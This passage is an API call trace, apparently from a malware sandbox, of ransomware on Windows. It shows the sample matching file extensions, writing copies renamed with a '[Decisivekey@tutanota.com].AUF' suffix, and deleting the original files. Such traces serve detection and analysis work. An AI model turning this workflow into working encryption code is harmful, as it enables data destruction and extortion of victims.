[0205.521] lstrlenW (lpString=".doc") returned 4 [0205.521] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString=".docx") returned 5 [0205.521] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.521] lstrlenW (lpString=".pdf") returned 4 [0205.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString=".xls") returned 4 [0205.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString=".xlsx") returned 5 [0205.521] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.521] lstrlenW (lpString=".ppt") returned 4 [0205.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.521] lstrlenW (lpString=".zip") returned 4 [0205.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.521] lstrlenW (lpString=".rar") returned 4 [0205.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString=".bz2") returned 4 [0205.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString=".7z") returned 3 [0205.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.521] lstrlenW (lpString=".dbf") returned 4 [0205.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.521] lstrlenW (lpString=".1cd") returned 4 [0205.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.521] lstrlenW (lpString=".jpg") returned 4 [0205.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.521] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.521] lstrlenW (lpString="Setup.xml") returned 9 [0205.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.521] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=16683) returned 1 [0205.522] CloseHandle (hObject=0x1b0) returned 1 [0205.522] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0205.522] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.522] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.522] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0205.522] GetLastError () returned 0x0 [0205.522] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x412b, lpOverlapped=0x0) returned 1 [0205.552] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0205.552] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.552] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0205.553] SetEndOfFile (hFile=0x1b8) returned 1 [0205.553] CloseHandle (hObject=0x1b8) returned 1 [0205.553] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.553] SetEndOfFile (hFile=0x1b0) returned 1 [0205.554] CloseHandle (hObject=0x1b0) returned 1 [0205.554] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.555] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0205.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.555] lstrlenW (lpString=".doc") returned 4 [0205.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString=".docx") returned 5 [0205.555] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.555] lstrlenW (lpString=".pdf") returned 4 [0205.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString=".xls") returned 4 [0205.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString=".xlsx") returned 5 [0205.555] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.555] lstrlenW (lpString=".ppt") returned 4 [0205.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.555] lstrlenW (lpString=".zip") returned 4 [0205.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.555] lstrlenW (lpString=".rar") returned 4 [0205.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString=".bz2") returned 4 [0205.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString=".7z") returned 3 [0205.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.555] lstrlenW (lpString=".dbf") returned 4 [0205.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.555] lstrlenW (lpString=".1cd") returned 4 [0205.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.555] lstrlenW (lpString=".jpg") returned 4 [0205.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.556] lstrlenW (lpString=".doc") returned 4 [0205.556] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString=".docx") returned 5 [0205.556] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.556] lstrlenW (lpString=".pdf") returned 4 [0205.556] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString=".xls") returned 4 [0205.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString=".xlsx") returned 5 [0205.556] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.556] lstrlenW (lpString=".ppt") returned 4 [0205.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.556] lstrlenW (lpString=".zip") returned 4 [0205.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.556] lstrlenW (lpString=".rar") returned 4 [0205.556] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString=".bz2") returned 4 [0205.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString=".7z") returned 3 [0205.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.556] lstrlenW (lpString=".dbf") returned 4 [0205.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.556] lstrlenW (lpString=".1cd") returned 4 [0205.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.556] lstrlenW (lpString=".jpg") returned 4 [0205.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.556] lstrcmpiW (lpString1=".EPS", lpString2=".AUF") returned 1 [0205.556] lstrlenW (lpString="MS.EPS") returned 6 [0205.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.559] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=15067) returned 1 [0205.559] CloseHandle (hObject=0x194) returned 1 [0205.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0205.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.560] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.560] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0205.560] GetLastError () returned 0x0 [0205.560] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0205.562] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0205.563] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.563] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0205.563] SetEndOfFile (hFile=0x1a4) returned 1 [0205.563] CloseHandle (hObject=0x1a4) returned 1 [0205.564] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.564] SetEndOfFile (hFile=0x194) returned 1 [0205.564] CloseHandle (hObject=0x194) returned 1 [0205.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0205.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0205.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.565] lstrlenW (lpString=".doc") returned 4 [0205.565] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0205.565] lstrlenW (lpString=".docx") returned 5 [0205.565] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0205.565] lstrlenW (lpString=".pdf") returned 4 [0205.565] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0205.565] lstrlenW (lpString=".xls") returned 4 [0205.565] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0205.565] lstrlenW (lpString=".xlsx") returned 5 [0205.565] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0205.565] lstrlenW (lpString=".ppt") returned 4 [0205.565] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0205.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.565] lstrlenW (lpString=".zip") returned 4 [0205.565] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0205.565] lstrlenW (lpString=".rar") returned 4 [0205.565] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0205.565] lstrlenW (lpString=".bz2") returned 4 [0205.565] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0205.565] lstrlenW (lpString=".7z") returned 3 [0205.565] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0205.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.565] lstrlenW (lpString=".dbf") returned 4 [0205.565] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0205.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.565] lstrlenW (lpString=".1cd") returned 4 [0205.565] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0205.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString=".jpg") returned 4 [0205.566] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0205.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString=".doc") returned 4 [0205.566] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0205.566] lstrlenW (lpString=".docx") returned 5 [0205.566] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0205.566] lstrlenW (lpString=".pdf") returned 4 [0205.566] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0205.566] lstrlenW (lpString=".xls") returned 4 [0205.566] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0205.566] lstrlenW (lpString=".xlsx") returned 5 [0205.566] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0205.566] lstrlenW (lpString=".ppt") returned 4 [0205.566] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0205.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString=".zip") returned 4 [0205.566] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0205.566] lstrlenW (lpString=".rar") returned 4 [0205.566] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0205.566] lstrlenW (lpString=".bz2") returned 4 [0205.566] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0205.566] lstrlenW (lpString=".7z") returned 3 [0205.566] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0205.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString=".dbf") returned 4 [0205.566] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0205.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString=".1cd") returned 4 [0205.566] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0205.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0205.566] lstrlenW (lpString=".jpg") returned 4 [0205.566] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0205.566] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0205.566] lstrlenW (lpString="MS.GIF") returned 6 [0205.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.567] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1069) returned 1 [0205.567] CloseHandle (hObject=0x194) returned 1 [0205.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0205.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.567] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.567] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0205.567] GetLastError () returned 0x0 [0205.567] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x42d, lpOverlapped=0x0) returned 1 [0205.580] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x430, lpOverlapped=0x0) returned 1 [0205.581] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.581] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0205.581] SetEndOfFile (hFile=0x1a4) returned 1 [0205.581] CloseHandle (hObject=0x1a4) returned 1 [0205.581] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.581] SetEndOfFile (hFile=0x194) returned 1 [0205.582] CloseHandle (hObject=0x194) returned 1 [0205.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0205.582] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0205.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.582] lstrlenW (lpString=".doc") returned 4 [0205.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0205.583] lstrlenW (lpString=".docx") returned 5 [0205.583] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0205.583] lstrlenW (lpString=".pdf") returned 4 [0205.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".xls") returned 4 [0205.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".xlsx") returned 5 [0205.583] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0205.583] lstrlenW (lpString=".ppt") returned 4 [0205.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString=".zip") returned 4 [0205.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".rar") returned 4 [0205.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".bz2") returned 4 [0205.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0205.583] lstrlenW (lpString=".7z") returned 3 [0205.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString=".dbf") returned 4 [0205.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString=".1cd") returned 4 [0205.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString=".jpg") returned 4 [0205.583] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString=".doc") returned 4 [0205.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0205.583] lstrlenW (lpString=".docx") returned 5 [0205.583] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0205.583] lstrlenW (lpString=".pdf") returned 4 [0205.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".xls") returned 4 [0205.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".xlsx") returned 5 [0205.583] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0205.583] lstrlenW (lpString=".ppt") returned 4 [0205.583] lstrcmpiW 